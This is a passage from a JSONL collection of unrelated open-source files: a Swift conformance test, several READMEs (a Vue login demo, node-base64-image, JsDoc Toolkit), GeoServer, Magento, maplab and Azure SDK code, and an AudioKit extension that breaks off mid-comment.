P4Helper {}\n\nextension P4 where Self : P4Helper {\n func bar() {} // expected-note {{candidate}}\n}\n\nstruct P4Conformer : P4 { // expected-error {{does not conform}}\n func baz() -> Int { return 0 }\n}\n\n\nprotocol P5 {\n associatedtype Foo\n func foo() -> Foo // expected-note {{protocol requires function 'foo()'}}\n func bar() -> Foo // okay\n func baz() -> Foo // okay\n}\n\nextension P5 {\n func bar() -> Foo { return foo() } // okay\n}\n\nstruct P5Conformer : P5 { // expected-error {{does not conform}}\n func baz() -> Int { return 0 }\n}\n\n\nprotocol P6Base {\n associatedtype Foo\n func foo()\n func bar() -> Foo\n}\nextension P6Base {\n}\nprotocol P6 : P6Base {\n associatedtype Bar // expected-note {{protocol requires nested type 'Bar'}}\n}\nextension P6 {\n func bar() -> Bar? { return nil }\n}\n\nstruct P6Conformer : P6 { // expected-error {{does not conform}}\n func foo() {}\n}\n\n// rdar://problem/23033862\n// expected-error@+2{{type 'A' does not conform to protocol 'OptionSet'}}\n// expected-error@+1{{type 'A' does not conform to protocol 'RawRepresentable'}}\nstruct A: OptionSet {\n let rawValue = 0\n init() { } // expected-note 2{{candidate has non-matching type '()'}}\n}\n\n// FIXME: Crappy diagnostic\nprotocol PA {\n associatedtype A // expected-note 2 {{protocol requires nested type 'A'; do you want to add it?}}\n}\n\nstruct BadCase1 : PA { // expected-error {{type 'BadCase1' does not conform to protocol 'PA'}}\n struct A {}\n}\n\nstruct BadCase2 : PA { // expected-error {{type 'BadCase2' does not conform to protocol 'PA'}}\n typealias A = T\n}\n\n// rdar://problem/32215763\nextension UInt32: ExpressibleByStringLiteral {}\n// expected-error@-1 {{type 'UInt32' does not conform to protocol 'ExpressibleByStringLiteral'}}\n// expected-error@-2 {{type 'UInt32' does not conform to protocol 'ExpressibleByExtendedGraphemeClusterLiteral'}}\n// expected-error@-3 {{type 'UInt32' does not conform to protocol 'ExpressibleByUnicodeScalarLiteral'}}\n\n// After successfully type-checking this (due to the presumption of\n// the type actually conforming), do not crash when failing to find\n// the associated witness type.\nlet diagnose: UInt32 = \"reta\"\n"} +{"text": "# HapiJS + VueJS + MongoDB Login and Registration\n\n![VueJS Todo](../screenshots/vue-login1.PNG)\n#\n![VueJS Todo](../screenshots/vue-login2.PNG)\n#\n![VueJS Todo](../screenshots/vue-login3.PNG)\n\n\n## Setup\n\nManually clone the repo and then run `npm install`."} +{"text": "import select from 'select-dom';\n\nimport features from '.';\n\nconst nextPageButtonSelectors = [\n\t'a.next_page', // Issue/PR list, Search\n\t'.paginate-container > .BtnGroup > :last-child', // Commits\n\t'.paginate-container > .pagination > :last-child', // Releases\n\t'.js-notifications-list-paginator-buttons > :last-child' // Notifications\n];\n\nconst previousPageButtonSelectors = [\n\t'a.previous_page', // Issue/PR list, Search\n\t'.paginate-container > .BtnGroup > :first-child', // Commits\n\t'.paginate-container > .pagination > :first-child', // Releases\n\t'.js-notifications-list-paginator-buttons > :first-child' // Notifications\n];\n\nfunction init(): void {\n\tconst createNextPageButton = select(nextPageButtonSelectors);\n\tif (createNextPageButton) {\n\t\tcreateNextPageButton.dataset.hotkey = 'ArrowRight';\n\t}\n\n\tconst createPreviousPageButton = select(previousPageButtonSelectors);\n\tif (createPreviousPageButton) {\n\t\tcreatePreviousPageButton.dataset.hotkey = 'ArrowLeft';\n\t}\n}\n\nvoid features.add({\n\tid: __filebasename,\n\tdescription: 'Adds shortcuts to navigate through pages with pagination: `←` and `→`.',\n\tscreenshot: false,\n\tshortcuts: {\n\t\t'→': 'Go to the next page',\n\t\t'←': 'Go to the previous page'\n\t}\n}, {\n\tinit\n});\n"} +{"text": "/* (c) 2014 Open Source Geospatial Foundation - all rights reserved\n * (c) 2001 - 2013 OpenPlans\n * This code is licensed under the GPL 2.0 license, available at the root\n * application directory.\n */\npackage org.geoserver.security.web.data;\n\nimport java.util.logging.Level;\nimport org.apache.wicket.markup.html.form.Form;\nimport org.apache.wicket.markup.html.form.FormComponent;\nimport org.apache.wicket.markup.html.form.validation.AbstractFormValidator;\nimport org.geoserver.security.impl.DataAccessRule;\nimport org.geoserver.security.impl.DataAccessRuleDAO;\nimport org.geoserver.web.wicket.ParamResourceModel;\n\n/** Adds a new rule to the data access set */\n@SuppressWarnings(\"serial\")\npublic class NewDataAccessRulePage extends AbstractDataAccessRulePage {\n\n public NewDataAccessRulePage() {\n super(new DataAccessRule());\n\n ((Form) get(\"form\")).add(new DuplicateRuleValidator());\n }\n\n @Override\n protected void onFormSubmit(DataAccessRule rule) {\n try {\n DataAccessRuleDAO dao = DataAccessRuleDAO.get();\n dao.addRule(rule);\n dao.storeRules();\n doReturn(DataSecurityPage.class);\n } catch (Exception e) {\n LOGGER.log(Level.SEVERE, \"Error occurred while saving rule \", e);\n error(new ParamResourceModel(\"saveError\", getPage(), e.getMessage()));\n }\n }\n\n // private String parseRole(String modelObjectAsString) {\n // return modelObjectAsString.substring(1, modelObjectAsString.length() - 1);\n // }\n\n /**\n * Checks the same rule has not been entered before\n *\n * @author aaime\n */\n class DuplicateRuleValidator extends AbstractFormValidator {\n public FormComponent[] getDependentFormComponents() {\n return new FormComponent[] {\n rootChoice, layerChoice, accessModeChoice, rolesFormComponent\n };\n }\n\n public void validate(Form form) {\n if (form.findSubmittingButton() != form.get(\"save\")) { // only validate on final submit\n return;\n }\n\n updateModels();\n DataAccessRule rule = (DataAccessRule) form.getModelObject();\n // DataAccessRule rule = new DataAccessRule(model.getWorkspace(),\n // model.getLayer(),model.getAccessMode(),\n // rolesFormComponent.getRolesNamesForStoring());\n if (DataAccessRuleDAO.get().getRules().contains(rule)) {\n form.error(\n new ParamResourceModel(\"duplicateRule\", getPage(), rule.getKey())\n .getString());\n }\n }\n }\n}\n"} +{"text": "![Node.js Package](https://github.com/riyadhalnur/node-base64-image/workflows/Node.js%20Package/badge.svg?branch=master) \n\nnode-base64-image\n=================\n\nDownload images from remote URLs or use local images and encode/decode them to Base64 string or [Buffer](https://nodejs.org/api/buffer.html) object\n\n### Installation \n`npm i node-base64-image --save` \n\n### Usage \n```js\nconst base64 = require('node-base64-image');\n// or\nimport {encode, decode} from 'node-base64-image';\n``` \n\n### Examples\n```js\nconst url = 'https://example.com/test.jpg';\nconst options = {\n string: true,\n headers: {\n \"User-Agent\": \"my-app\"\n }\n};\n\nconst image = await encode(url, options);\nawait decode(image, { fname: 'example', ext: 'jpg' });\n``` \n\n### Contributing\nRead the [CONTRIBUTING](CONTRIBUTING.md) guide for information. \n\n### License \nLicensed under MIT. See [LICENSE](LICENSE) for more information. \n\n### Issues \nReport a bug in issues. \n\nMade with love in Dhaka, Bangladesh by [Riyadh Al Nur](https://verticalaxisbd.com)\n"} +{"text": "/*\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. See License.txt in the project root for license information.\n *\n * Code generated by Microsoft (R) AutoRest Code Generator.\n * Changes may cause incorrect behavior and will be lost if the code is regenerated.\n */\n\nexport {\n discriminators,\n AadAuthenticationParameters,\n AddressSpace,\n ApplicationGateway,\n ApplicationGatewayAuthenticationCertificate,\n ApplicationGatewayAutoscaleConfiguration,\n ApplicationGatewayAvailableSslOptions,\n ApplicationGatewayBackendAddress,\n ApplicationGatewayBackendAddressPool,\n ApplicationGatewayBackendHttpSettings,\n ApplicationGatewayClientAuthConfiguration,\n ApplicationGatewayConnectionDraining,\n ApplicationGatewayCustomError,\n ApplicationGatewayFirewallDisabledRuleGroup,\n ApplicationGatewayFirewallExclusion,\n ApplicationGatewayFirewallRule,\n ApplicationGatewayFirewallRuleGroup,\n ApplicationGatewayFirewallRuleSet,\n ApplicationGatewayFrontendIPConfiguration,\n ApplicationGatewayFrontendPort,\n ApplicationGatewayHeaderConfiguration,\n ApplicationGatewayHttpListener,\n ApplicationGatewayIPConfiguration,\n ApplicationGatewayPathRule,\n ApplicationGatewayPrivateEndpointConnection,\n ApplicationGatewayPrivateLinkConfiguration,\n ApplicationGatewayPrivateLinkIpConfiguration,\n ApplicationGatewayPrivateLinkResource,\n ApplicationGatewayProbe,\n ApplicationGatewayProbeHealthResponseMatch,\n ApplicationGatewayRedirectConfiguration,\n ApplicationGatewayRequestRoutingRule,\n ApplicationGatewayRewriteRule,\n ApplicationGatewayRewriteRuleActionSet,\n ApplicationGatewayRewriteRuleCondition,\n ApplicationGatewayRewriteRuleSet,\n ApplicationGatewaySku,\n ApplicationGatewaySslCertificate,\n ApplicationGatewaySslPolicy,\n ApplicationGatewaySslPredefinedPolicy,\n ApplicationGatewaySslProfile,\n ApplicationGatewayTrustedClientCertificate,\n ApplicationGatewayTrustedRootCertificate,\n ApplicationGatewayUrlConfiguration,\n ApplicationGatewayUrlPathMap,\n ApplicationGatewayWebApplicationFirewallConfiguration,\n ApplicationRule,\n ApplicationSecurityGroup,\n AzureFirewall,\n AzureFirewallApplicationRule,\n AzureFirewallApplicationRuleCollection,\n AzureFirewallApplicationRuleProtocol,\n AzureFirewallFqdnTag,\n AzureFirewallIPConfiguration,\n AzureFirewallIpGroups,\n AzureFirewallNatRCAction,\n AzureFirewallNatRule,\n AzureFirewallNatRuleCollection,\n AzureFirewallNetworkRule,\n AzureFirewallNetworkRuleCollection,\n AzureFirewallPublicIPAddress,\n AzureFirewallRCAction,\n AzureFirewallSku,\n BackendAddressPool,\n BaseResource,\n BastionHost,\n BastionHostIPConfiguration,\n BGPCommunity,\n BgpConnection,\n BgpServiceCommunity,\n BgpSettings,\n BreakOutCategoryPolicies,\n CloudError,\n ConnectionMonitorDestination,\n ConnectionMonitorEndpoint,\n ConnectionMonitorEndpointFilter,\n ConnectionMonitorEndpointFilterItem,\n ConnectionMonitorEndpointScope,\n ConnectionMonitorEndpointScopeItem,\n ConnectionMonitorHttpConfiguration,\n ConnectionMonitorIcmpConfiguration,\n ConnectionMonitorOutput,\n ConnectionMonitorResult,\n ConnectionMonitorSource,\n ConnectionMonitorSuccessThreshold,\n ConnectionMonitorTcpConfiguration,\n ConnectionMonitorTestConfiguration,\n ConnectionMonitorTestGroup,\n ConnectionMonitorWorkspaceSettings,\n ConnectionSharedKey,\n Container,\n ContainerNetworkInterface,\n ContainerNetworkInterfaceConfiguration,\n ContainerNetworkInterfaceIpConfiguration,\n CustomDnsConfigPropertiesFormat,\n CustomIpPrefix,\n CustomIpPrefixListResult,\n DdosCustomPolicy,\n DdosProtectionPlan,\n DdosSettings,\n Delegation,\n DeviceProperties,\n DhcpOptions,\n DnsSettings,\n DscpConfiguration,\n EndpointServiceResult,\n ExpressRouteCircuit,\n ExpressRouteCircuitAuthorization,\n ExpressRouteCircuitConnection,\n ExpressRouteCircuitPeering,\n ExpressRouteCircuitPeeringConfig,\n ExpressRouteCircuitPeeringId,\n ExpressRouteCircuitReference,\n ExpressRouteCircuitServiceProviderProperties,\n ExpressRouteCircuitSku,\n ExpressRouteCircuitStats,\n ExpressRouteConnection,\n ExpressRouteConnectionId,\n ExpressRouteCrossConnection,\n ExpressRouteCrossConnectionPeering,\n ExpressRouteGateway,\n ExpressRouteGatewayPropertiesAutoScaleConfiguration,\n ExpressRouteGatewayPropertiesAutoScaleConfigurationBounds,\n ExpressRouteLink,\n ExpressRouteLinkMacSecConfig,\n ExpressRoutePort,\n ExpressRoutePortsLocation,\n ExpressRoutePortsLocationBandwidths,\n ExpressRouteServiceProvider,\n ExpressRouteServiceProviderBandwidthsOffered,\n FirewallPolicy,\n FirewallPolicyFilterRuleCollection,\n FirewallPolicyFilterRuleCollectionAction,\n FirewallPolicyNatRuleCollection,\n FirewallPolicyNatRuleCollectionAction,\n FirewallPolicyRule,\n FirewallPolicyRuleApplicationProtocol,\n FirewallPolicyRuleCollection,\n FirewallPolicyRuleCollectionGroup,\n FirewallPolicyThreatIntelWhitelist,\n FlowLog,\n FlowLogFormatParameters,\n FrontendIPConfiguration,\n HTTPHeader,\n HubIPAddresses,\n HubIpConfiguration,\n HubPublicIPAddresses,\n HubRoute,\n HubRouteTable,\n HubVirtualNetworkConnection,\n InboundNatPool,\n InboundNatRule,\n InboundSecurityRule,\n InboundSecurityRules,\n IpAllocation,\n IPConfiguration,\n IPConfigurationBgpPeeringAddress,\n IPConfigurationProfile,\n IpGroup,\n IpsecPolicy,\n IpTag,\n Ipv6CircuitConnectionConfig,\n Ipv6ExpressRouteCircuitPeeringConfig,\n LoadBalancer,\n LoadBalancerBackendAddress,\n LoadBalancerSku,\n LoadBalancingRule,\n LocalNetworkGateway,\n ManagedRuleGroupOverride,\n ManagedRuleOverride,\n ManagedRulesDefinition,\n ManagedRuleSet,\n ManagedServiceIdentity,\n ManagedServiceIdentityUserAssignedIdentitiesValue,\n MatchCondition,\n MatchVariable,\n NatGateway,\n NatGatewaySku,\n NatRule,\n NetworkIntentPolicy,\n NetworkInterface,\n NetworkInterfaceDnsSettings,\n NetworkInterfaceIPConfiguration,\n NetworkInterfaceIPConfigurationPrivateLinkConnectionProperties,\n NetworkInterfaceTapConfiguration,\n NetworkProfile,\n NetworkRule,\n NetworkSecurityGroup,\n NetworkVirtualAppliance,\n NetworkVirtualApplianceSku,\n NetworkVirtualApplianceSkuInstances,\n NetworkWatcher,\n O365BreakOutCategoryPolicies,\n O365PolicyProperties,\n Office365PolicyProperties,\n OutboundRule,\n OwaspCrsExclusionEntry,\n P2SConnectionConfiguration,\n P2SVpnGateway,\n PatchRouteFilter,\n PatchRouteFilterRule,\n PeerExpressRouteCircuitConnection,\n PolicySettings,\n PrivateDnsZoneConfig,\n PrivateDnsZoneGroup,\n PrivateEndpoint,\n PrivateEndpointConnection,\n PrivateLinkService,\n PrivateLinkServiceConnection,\n PrivateLinkServiceConnectionState,\n PrivateLinkServiceIpConfiguration,\n PrivateLinkServicePropertiesAutoApproval,\n PrivateLinkServicePropertiesVisibility,\n Probe,\n PropagatedRouteTable,\n ProtocolCustomSettingsFormat,\n PublicIPAddress,\n PublicIPAddressDnsSettings,\n PublicIPAddressSku,\n PublicIPPrefix,\n PublicIPPrefixSku,\n QosIpRange,\n QosPortRange,\n RadiusServer,\n RecordSet,\n ReferencedPublicIpAddress,\n Resource,\n ResourceNavigationLink,\n ResourceSet,\n RetentionPolicyParameters,\n Route,\n RouteFilter,\n RouteFilterRule,\n RouteTable,\n RoutingConfiguration,\n SecurityPartnerProvider,\n SecurityRule,\n ServiceAssociationLink,\n ServiceEndpointPolicy,\n ServiceEndpointPolicyDefinition,\n ServiceEndpointPropertiesFormat,\n StaticRoute,\n Subnet,\n SubResource,\n TagsObject,\n TrafficAnalyticsConfigurationProperties,\n TrafficAnalyticsProperties,\n TrafficSelectorPolicy,\n TunnelConnectionHealth,\n VirtualApplianceNicProperties,\n VirtualApplianceSite,\n VirtualApplianceSkuProperties,\n VirtualHub,\n VirtualHubId,\n VirtualHubRoute,\n VirtualHubRouteTable,\n VirtualHubRouteTableV2,\n VirtualHubRouteV2,\n VirtualNetwork,\n VirtualNetworkBgpCommunities,\n VirtualNetworkConnectionGatewayReference,\n VirtualNetworkGateway,\n VirtualNetworkGatewayConnection,\n VirtualNetworkGatewayConnectionListEntity,\n VirtualNetworkGatewayIPConfiguration,\n VirtualNetworkGatewaySku,\n VirtualNetworkPeering,\n VirtualNetworkTap,\n VirtualRouter,\n VirtualRouterPeering,\n VirtualWAN,\n VM,\n VnetRoute,\n VpnClientConfiguration,\n VpnClientConnectionHealth,\n VpnClientRevokedCertificate,\n VpnClientRootCertificate,\n VpnConnection,\n VpnGateway,\n VpnGatewayIpConfiguration,\n VpnLinkBgpSettings,\n VpnLinkProviderProperties,\n VpnServerConfigRadiusClientRootCertificate,\n VpnServerConfigRadiusServerRootCertificate,\n VpnServerConfiguration,\n VpnServerConfigVpnClientRevokedCertificate,\n VpnServerConfigVpnClientRootCertificate,\n VpnSite,\n VpnSiteLink,\n VpnSiteLinkConnection,\n WebApplicationFirewallCustomRule,\n WebApplicationFirewallPolicy\n} from \"../models/mappers\";\n"} +{"text": "#include \n\n#include \n#include \n#include \n#include \n\n#include \"sensors/gps-utm.h\"\n#include \"sensors/gps-wgs.h\"\n#include \"sensors/imu.h\"\n#include \"sensors/measurements.pb.h\"\n#include \"sensors/sensor-factory.h\"\n#include \"sensors/sensor-system.h\"\n\nnamespace vi_map {\n\nTEST(SensorSystemTest, TestConstructor) {\n // Creating a sensor system with an invalid reference sensor id.\n SensorId reference_sensor_id;\n EXPECT_DEATH(SensorSystem sensor_system(reference_sensor_id), \"\");\n\n // Creating a sensor system with a valid reference sensor id.\n common::generateId(&reference_sensor_id);\n SensorSystem sensor_system(reference_sensor_id);\n const SensorSystemId sensor_system_id = sensor_system.getId();\n EXPECT_TRUE(sensor_system_id.isValid());\n\n // Testing that the sensor system contains exactly one id, namely the one of\n // the reference sensor.\n SensorIdSet sensor_ids;\n sensor_system.getAllSensorIds(&sensor_ids);\n ASSERT_EQ(sensor_ids.size(), 1u);\n EXPECT_EQ(*sensor_ids.begin(), reference_sensor_id);\n\n // Trying to create extriniscs with an invalid type.\n aslam::Transformation T_R_S;\n T_R_S.setRandom();\n ExtrinsicsType extrinsics_type = ExtrinsicsType::kInvalid;\n EXPECT_DEATH(Extrinsics(extrinsics_type, T_R_S), \"\");\n\n // Trying to create transformation extrinsics with an invalid sensor id.\n extrinsics_type = ExtrinsicsType::kTransformation;\n Extrinsics extrinsics(extrinsics_type, T_R_S);\n SensorId sensor_id;\n EXPECT_DEATH(sensor_system.setSensorExtrinsics(sensor_id, extrinsics), \"\");\n\n // Trying to create transformation extrinsics with a valid sensor id.\n common::generateId(&sensor_id);\n sensor_system.setSensorExtrinsics(sensor_id, extrinsics);\n\n // Testing that the sensor system now contains exactly 2 sensors, namely\n // the reference sensor, and the sensor with the transformation extrinsics.\n sensor_system.getAllSensorIds(&sensor_ids);\n EXPECT_EQ(sensor_ids.size(), 2u);\n EXPECT_GT(sensor_ids.count(sensor_id), 0u);\n EXPECT_GT(sensor_ids.count(reference_sensor_id), 0u);\n // Verifying the correctness of the extrinsics type and values.\n EXPECT_EQ(\n sensor_system.getSensorExtrinsicsType(sensor_id),\n ExtrinsicsType::kTransformation);\n EXPECT_EQ(sensor_system.getSensor_p_R_S(sensor_id), T_R_S.getPosition());\n EXPECT_EQ(sensor_system.getSensor_T_R_S(sensor_id), T_R_S);\n\n // Trying to add position-only extrinsics with a non-identity rotation.\n SensorId second_sensod_id;\n common::generateId(&second_sensod_id);\n aslam::Transformation T_R_S_second_sensor;\n T_R_S_second_sensor.setRandom();\n const ExtrinsicsType extrinsics_type_second_sensor =\n ExtrinsicsType::kPositionOnly;\n EXPECT_DEATH(\n Extrinsics(extrinsics_type_second_sensor, T_R_S_second_sensor), \"\");\n // Adding a position-only extrinsics with identity rotation.\n T_R_S_second_sensor.getRotation().setIdentity();\n sensor_system.setSensorExtrinsics(\n second_sensod_id,\n Extrinsics(extrinsics_type_second_sensor, T_R_S_second_sensor));\n\n // Verifying to the correctness of the position type and extrinsics values.\n EXPECT_EQ(\n sensor_system.getSensorExtrinsicsType(second_sensod_id),\n ExtrinsicsType::kPositionOnly);\n EXPECT_EQ(\n sensor_system.getSensor_p_R_S(second_sensod_id),\n T_R_S_second_sensor.getPosition());\n EXPECT_EQ(\n sensor_system.getSensor_T_R_S(second_sensod_id), T_R_S_second_sensor);\n\n // Trying to access inexistent sensor extrinsics.\n common::generateId(&sensor_id);\n EXPECT_DEATH(sensor_system.getSensorExtrinsicsType(sensor_id), \"\");\n EXPECT_DEATH(sensor_system.getSensor_T_R_S(sensor_id), \"\");\n EXPECT_DEATH(sensor_system.getSensor_p_R_S(sensor_id), \"\");\n}\n} // namespace vi_map\n\nMAPLAB_UNITTEST_ENTRYPOINT\n"} +{"text": "/**\n * Copyright © Magento, Inc. All rights reserved.\n * See COPYING.txt for license details.\n */\ndefine([\n 'ko',\n 'jquery',\n 'Magento_Ui/js/lib/view/utils/async',\n 'uiRegistry',\n 'underscore',\n '../template/renderer',\n 'jquery-ui-modules/resizable'\n], function (ko, $, async, registry, _, renderer) {\n 'use strict';\n\n var sizeOptions = [\n 'minHeight',\n 'maxHeight',\n 'minWidth',\n 'maxWidth'\n ],\n\n handles = {\n height: '.ui-resizable-s, .ui-resizable-n',\n width: '.ui-resizable-w, .ui-resizable-e'\n };\n\n /**\n * Recalcs visibility of handles, width and height of resizable based on content\n * @param {HTMLElement} element\n */\n function adjustSize(element) {\n var maxHeight,\n maxWidth;\n\n element = $(element);\n maxHeight = element.resizable('option').maxHeight;\n maxWidth = element.resizable('option').maxWidth;\n\n if (maxHeight && element.height() > maxHeight) {\n element.height(maxHeight + 1);\n $(handles.height).hide();\n } else {\n $(handles.height).show();\n }\n\n if (maxWidth && element.width() > maxWidth) {\n element.width(maxWidth + 1);\n $(handles.width).hide();\n } else {\n $(handles.width).show();\n }\n }\n\n /**\n * Recalcs allowed min, max width and height based on configured selectors\n * @param {Object} sizeConstraints\n * @param {String} componentName\n * @param {HTMLElement} element\n * @param {Boolean} hasWidthUpdate\n */\n function recalcAllowedSize(sizeConstraints, componentName, element, hasWidthUpdate) {\n var size;\n\n element = $(element);\n\n if (!element.data('resizable')) {\n return;\n }\n\n if (!hasWidthUpdate) {\n element.css('width', 'auto');\n }\n\n _.each(sizeConstraints, function (selector, key) {\n async.async({\n component: componentName,\n selector: selector\n }, function (elem) {\n size = key.indexOf('Height') !== -1 ? $(elem).outerHeight(true) : $(elem).outerWidth(true);\n\n if (element.data('resizable')) {\n element.resizable('option', key, size + 1);\n }\n });\n }, this);\n\n adjustSize(element);\n }\n\n /**\n * Preprocess config to separate options,\n * which must be processed further before applying\n *\n * @param {Object} config\n * @param {Object} viewModel\n * @param {*} element\n * @return {Object} config\n */\n function processConfig(config, viewModel, element) {\n var sizeConstraint,\n sizeConstraints = {},\n recalc,\n hasWidthUpdate;\n\n if (_.isEmpty(config)) {\n return {};\n }\n _.each(sizeOptions, function (key) {\n sizeConstraint = config[key];\n\n if (sizeConstraint && !_.isNumber(sizeConstraint)) {\n sizeConstraints[key] = sizeConstraint;\n delete config[key];\n }\n });\n hasWidthUpdate = _.some(sizeConstraints, function (value, key) {\n return key.indexOf('Width') !== -1;\n });\n\n recalc = recalcAllowedSize.bind(null, sizeConstraints, viewModel.name, element, hasWidthUpdate);\n config.start = recalc;\n $(window).on('resize.resizable', recalc);\n registry.get(viewModel.provider).on('reloaded', recalc);\n\n return config;\n }\n\n ko.bindingHandlers.resizable = {\n\n /**\n * Binding init callback.\n *\n * @param {*} element\n * @param {Function} valueAccessor\n * @param {Function} allBindings\n * @param {Object} viewModel\n */\n init: function (element, valueAccessor, allBindings, viewModel) {\n var config = processConfig(valueAccessor(), viewModel, element);\n\n $(element).resizable(config);\n }\n };\n\n renderer.addAttribute('resizable');\n});\n"} +{"text": "julia 0.6.0-pre\nIterators\nDataFlow 0.0 0.2.1\nJuno\nMacroTools 0.3.3\n"} +{"text": "======================================================================\n\nDESCRIPTION:\n\nThis is the source code for JsDoc Toolkit, an automatic documentation\ngeneration tool for JavaScript. It is written in JavaScript and is run\nfrom a command line (or terminal) using Java and Mozilla's Rhino\nJavaScript runtime engine.\n\nUsing this tool you can automatically turn JavaDoc-like comments in\nyour JavaScript source code into published output files, such as HTML\nor XML.\n\nFor more information, to report a bug, or to browse the technical\ndocumentation for this tool please visit the official JsDoc Toolkit\nproject homepage at http://code.google.com/p/jsdoc-toolkit/\n\nFor the most up-to-date documentation on JsDoc Toolkit see the \nofficial wiki at http://code.google.com/p/jsdoc-toolkit/w/list\n\n======================================================================\n\nREQUIREMENTS:\n\nJsDoc Toolkit is known to work with:\njava version \"1.6.0_03\"\nJava(TM) SE Runtime Environment (build 1.6.0_03-b05)\non Windows XP,\nand java version \"1.5.0_19\"\nJava(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_19-b02-304)\non Mac OS X 10.5.\n\nOther versions of java may or may not work with JsDoc Toolkit.\n\n======================================================================\n\nUSAGE:\n\nRunning JsDoc Toolkit requires you to have Java installed on your\ncomputer. For more information see http://www.java.com/getjava/\n\nBefore running the JsDoc Toolkit app you should change your current\nworking directory to the jsdoc-toolkit folder. Then follow the\nexamples below, or as shown on the project wiki.\n\nOn a computer running Windows a valid command line to run JsDoc\nToolkit might look like this:\n\n> java -jar jsrun.jar app\\run.js -a -t=templates\\jsdoc mycode.js\n\nOn Mac OS X or Linux the same command would look like this:\n\n$ java -jar jsrun.jar app/run.js -a -t=templates/jsdoc mycode.js\n\nThe above assumes your current working directory contains jsrun.jar,\nthe \"app\" and \"templates\" subdirectories from the standard JsDoc\nToolkit distribution and that the relative path to the code you wish\nto document is \"mycode.js\".\n\nThe output documentation files will be saved to a new directory named\n\"out\" (by default) in the current directory, or if you specify a\n-d=somewhere_else option, to the somewhere_else directory.\n\nFor help (usage notes) enter this on the command line:\n\n$ java -jar jsrun.jar app/run.js --help\n\nMore information about the various command line options used by JsDoc\nToolkit are available on the project wiki.\n\n======================================================================\n\nRUNNING VIA SHELL SCRIPT\n\nAvi Deitcher has contributed the file jsrun.sh with the following usage notes:\n\nA script to simplify running jsdoc from the command-line, especially when\nrunning from within a development or build environment such as ant.\n\nNormally, to run jsdoc, you need a command-line as the following:\njava -Djsdoc.dir=/some/long/dir/path/to/jsdoc -jar\n/some/long/dir/path/to/jsdoc/jsrun.jar /some/long/dir/path/to/jsdoc/app/run.js\n-t=template -r=4 /some/long/dir/path/to/my/src/code\n\nThis can get tedious to redo time and again, and difficult to use from within a build environment.\n\nTo simplify the process, jsrun.sh will automatically run this path, as well as passing through any arguments.\n\nUsage: jsrun.sh \n\nAll will be passed through.\nAdditionally, jsrun.sh will take the following actions:\n1) If the environment variable JSDOCDIR is set, it will add\n\"-Djsdoc.dir=$JSDOCDIR\" to the command-line\n2) If the environment variable JSDOCTEMPLATEDIR is set, it will add\n\"-Djsdoc.template.dir=$JSDOCTEMPLATEDIR\" to the command-line\n3) java with the appropriate path to jsrun.jar and run.js will be instantiated\n\nIf not variables are set, it is assumed that the path to jsrun.jar and app/ is in the current working directory.\n\nExample:\n# jsrun.sh ./src/\nAssuming JSDOCDIR=/some/path/to/my/jsdoc will cause the following command to\nexecute:\njava -Djsdoc.dir=/some/path/to/my/jsdoc -jar /some/path/to/my/jsdoc/jsrun.jar\n/some/path/to/my/jsdoc/app/run.js ./src/\n\n======================================================================\n\nTESTING:\n\nTo run the suite of unit tests included with JsDoc Toolkit enter this\non the command line:\n\n$ java -jar jsrun.jar app/run.js -T\n\nTo see a dump of the internal data structure that JsDoc Toolkit has\nbuilt from your source files use this command:\n\n$ java -jar jsrun.jar app/run.js mycode.js -Z\n\n======================================================================\n\nLICENSE:\n\nJSDoc.pm\n\nThis project is based on the JSDoc.pm tool, created by Michael\nMathews and Gabriel Reid. More information on JsDoc.pm can\nbe found on the JSDoc.pm homepage: http://jsdoc.sourceforge.net/\n\nComplete documentation on JsDoc Toolkit can be found on the project\nwiki at http://code.google.com/p/jsdoc-toolkit/w/list\n\nRhino\n\nRhino (JavaScript in Java) is open source and licensed by Mozilla\nunder the MPL 1.1 or later/GPL 2.0 or later licenses, the text of\nwhich is available at http://www.mozilla.org/MPL/\n\nYou can obtain the source code for Rhino from the Mozilla web site at\nhttp://www.mozilla.org/rhino/download.html\n\nJsDoc Toolkit is a larger work that uses the Rhino JavaScript engine\nbut is not derived from it in any way. The Rhino library is used \nwithout modification and without any claims whatsoever.\n\nThe Rhino Debugger\n\nYou can obtain more information about the Rhino Debugger from the \nMozilla web site at http://www.mozilla.org/rhino/debugger.html\n\nJsDoc Toolkit is a larger work that uses the Rhino Debugger but\nis not derived from it in any way. The Rhino Debugger is used\nwithout modification and without any claims whatsoever.\n\nJsDoc Toolkit\n\nAll code specific to JsDoc Toolkit are free, open source and licensed\nfor use under the X11/MIT License.\n\nJsDoc Toolkit is Copyright (c)2009 Michael Mathews \n\nThis program is free software; you can redistribute it and/or\nmodify it under the terms below.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions: The above copyright notice and this\npermission notice must be included in all copies or substantial\nportions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"} +{"text": "//\n// AKTable+AdditiveSynthesis.swift\n//\n// Created by Marcus W. Hobbs on 7/23/18.\n// Copyright © 2018 AudioKit. All rights reserved.\n//\n\nimport Foundation\n\nextension AKTable {\n\n /// This method will start at rootFrequency * octave, walk up by octaveStepSize, and halt before reaching nyquist.\n /// This method outputs an array where each entry is a tuple of frequency and the maximum number of harmonics.\n /// This method is \"pitch\"-based, which is not the only way to distribute harmonics.\n ///\n /// Parameters:\n /// - rootFrequency: the lowest frequency wavetable. 8.17579891564375 corresponds to C0, or nn = 0\n /// - octaveStepSize: fractions of an octave (i.e., 1).\n ///\n /// Example Output: [(8.1787833827893177, 2696), (16.357566765578635, 1348), (32.715133531157271, 674), (65.430267062314542, 337), (131.25, 168), (262.5, 84), (525.0, 42), (1050.0, 21), (2205.0, 10), (4410.0, 5), (11025.0, 2), 